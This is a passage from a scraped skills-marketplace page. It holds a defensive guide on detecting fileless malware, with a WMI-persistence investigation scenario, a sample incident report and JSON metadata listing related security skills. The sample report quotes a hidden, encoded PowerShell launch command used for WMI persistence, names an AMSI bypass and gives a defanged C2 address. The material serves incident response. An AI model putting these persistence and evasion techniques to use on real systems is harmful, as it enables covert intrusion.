Logging** | Windows PowerShell logging feature (Event ID 4104) that captures script content after deobfuscation, essential for fileless threat visibility |\n\n## Tools & Systems\n\n- **Sysmon**: System Monitor providing detailed event logging for process creation, WMI events, registry changes, and network connections\n- **Autoruns**: Sysinternals tool showing all auto-start locations including WMI subscriptions, scheduled tasks, and registry entries\n- **Volatility**: Memory forensics framework for detecting in-memory code, injected processes, and fileless malware artifacts\n- **Process Monitor**: Real-time monitoring of file system, registry, and process activity for observing fileless attack behavior\n- **LOLBAS Project**: Community-documented catalog of LOLBin abuse techniques at https:\u002F\u002Flolbas-project.github.io\u002F\n\n## Common Scenarios\n\n### Scenario: Investigating a Fileless Attack Using WMI Persistence\n\n**Context**: Sysmon alerts show WMI event subscription creation followed by periodic PowerShell execution without any corresponding malware files on disk. The attack persists across reboots.\n\n**Approach**:\n1. Query WMI namespace for event filters, consumers, and bindings to identify the persistence mechanism\n2. Extract the CommandLineEventConsumer or ActiveScriptEventConsumer payload\n3. Decode the PowerShell command (typically Base64-encoded with -enc flag)\n4. Trace the PowerShell execution in Script Block Logging (Event ID 4104) for the full deobfuscated payload\n5. Analyze memory dump for reflectively loaded assemblies and injected code\n6. Check registry for additional stored payloads referenced by the PowerShell script\n7. Map the complete attack chain from initial access through persistence and lateral movement\n\n**Pitfalls**:\n- Not having Sysmon WMI event logging enabled (Events 19\u002F20\u002F21) before the incident\n- Rebooting the system before capturing a memory dump (destroys in-memory evidence)\n- Focusing only on file-based IOCs when the attack is entirely fileless\n- Missing the initial access vector because the LOLBin execution left minimal traces\n\n## Output Format\n\n```\nFILELESS MALWARE ANALYSIS REPORT\n===================================\nIncident:         INC-2025-2847\nAttack Type:      Fileless (no malware files on disk)\n\nINITIAL ACCESS\nVector:           Phishing email with macro-enabled document\nLOLBin Chain:     WINWORD.EXE -> mshta.exe -> powershell.exe\n\nPERSISTENCE MECHANISM\nType:             WMI Event Subscription\nFilter Name:      WindowsUpdateCheck\nFilter Query:     SELECT * FROM __InstanceModificationEvent WITHIN 300\n                  WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\nConsumer:         CommandLineEventConsumer\nCommand:          powershell.exe -nop -w hidden -enc \u003CBASE64_UTF16LE_PAYLOAD>\n\nDECODED PAYLOAD\n[Layer 1] Base64 UTF-16LE decode\n[Layer 2] AMSI bypass + Assembly.Load() of embedded .NET payload\n[Layer 3] .NET RAT with C2 communication to 185.220.101[.]42\n\nREGISTRY PAYLOADS\nHKCU\\Software\\AppDataLow\\Config\\data = [Base64 encoded .NET assembly, 247KB]\nLoaded by: PowerShell WMI consumer script\n\nMEMORY ARTIFACTS\nPID 4012 (powershell.exe): Injected .NET assembly at 0x00400000\n  - CobaltStrike beacon detected via YARA\n  - C2: hxxps:\u002F\u002F185.220.101[.]42\u002Fupdates\n\nEXTRACTED IOCs\nC2 IP:            185.220.101[.]42\nWMI Filter:       WindowsUpdateCheck\nRegistry Path:    HKCU\\Software\\AppDataLow\\Config\\data\nPowerShell Flags: -nop -w hidden -enc\n\nMITRE ATT&CK\nT1059.001  PowerShell\nT1546.003  WMI Event Subscription\nT1218.005  Mshta\nT1112      Modify Registry\nT1055.012  Process Hollowing\n```\n",{"name":5,"tags":52,"author":53,"domain":45,"license":15,"version":54,"nist_csf":55,"subdomain":37,"description":60,"mitre_attack":61,"d3fend_techniques":71},[30,34,33,32,35],"mahipal","1.0.0",[56,57,58,59],"DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01","Detects and analyzes fileless malware that operates entirely in memory using PowerShell, WMI, .NET reflection, registry-resident payloads, and living-off-the-land binaries (LOLBins) without writing traditional executable files to disk. Use for requests involving fileless threat detection, in-memory malware investigation, LOLBin abuse analysis, or WMI persistence examination.\n",[62,63,64,65,66,67,68,69,70],"T1027","T1055","T1059","T1112","T1140","T1218","T1497","T1546","T1547",[72,73,74,75,76],"Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fdetecting-fileless-malware-techniques",4384,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":88,"prompt":98,"zipAvailable":99},[89,92,95],{"tool":90,"command":91},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill detecting-fileless-malware-techniques",{"tool":93,"command":94},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill detecting-fileless-malware-techniques",{"tool":96,"command":97},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill detecting-fileless-malware-techniques","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fdetecting-fileless-malware-techniques\u002FSKILL.md",true,[101,106,112,116],{"path":102,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":104,"sourceHtmlUrl":105},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fdetecting-fileless-malware-techniques\u002FLICENSE",{"path":107,"resourceType":108,"resourceTypeDesc":109,"sizeBytes":110,"sourceHtmlUrl":111},"references\u002Fapi-reference.md","REFERENCE","参考文档",2600,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fdetecting-fileless-malware-techniques\u002Freferences\u002Fapi-reference.md",{"path":113,"resourceType":108,"resourceTypeDesc":109,"sizeBytes":114,"sourceHtmlUrl":115},"references\u002Fyara-fileless-powershell.yar",478,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fdetecting-fileless-malware-techniques\u002Freferences\u002Fyara-fileless-powershell.yar",{"path":117,"resourceType":118,"resourceTypeDesc":119,"sizeBytes":120,"sourceHtmlUrl":121},"scripts\u002Fagent.py","SCRIPT","脚本",8656,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fdetecting-fileless-malware-techniques\u002Fscripts\u002Fagent.py",[123,150,174,200,225,252],{"skillNo":124,"name":125,"nameZh":6,"description":126,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":127,"categories":128,"keywords":130,"publishedAt":47},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[129],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[131,132,133,134,135,45,136,137,138,139,140,141,142,143,144,145,146,147,148,149],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","identity","pr","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":151,"name":152,"nameZh":6,"description":153,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":154,"categories":155,"keywords":157,"publishedAt":47},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[156],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[158,146,159,160,135,161,45,138,162,163,164,165,166,167,168,169,170,171,172,173],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":175,"name":176,"nameZh":6,"description":177,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":178,"categories":179,"keywords":184,"publishedAt":47},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[180,183],{"categoryNo":181,"categoryName":182,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[168,185,186,187,188,45,189,43,162,190,191,192,193,194,35,195,196,197,198,199],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","compliance","hash-verification","incident-response","ransomware","cryptocurrency","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":201,"name":202,"nameZh":6,"description":203,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":204,"categories":205,"keywords":207,"publishedAt":47},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[206],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[208,209,210,45,44,211,212,213,214,215,216,217,218,219,220,221,165,222,223,224],"windows","kape","triaging windows with kape","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":226,"name":227,"nameZh":6,"description":228,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":229,"categories":230,"keywords":232,"publishedAt":47},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[231],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[233,234,235,45,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":253,"name":254,"nameZh":6,"description":255,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":256,"categories":257,"keywords":259,"publishedAt":47},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[258],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[135,260,45,261,39,262,263,264,265,266,267,195,268,196,269,270,271,272,273,274],"triaging security incident","siem","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]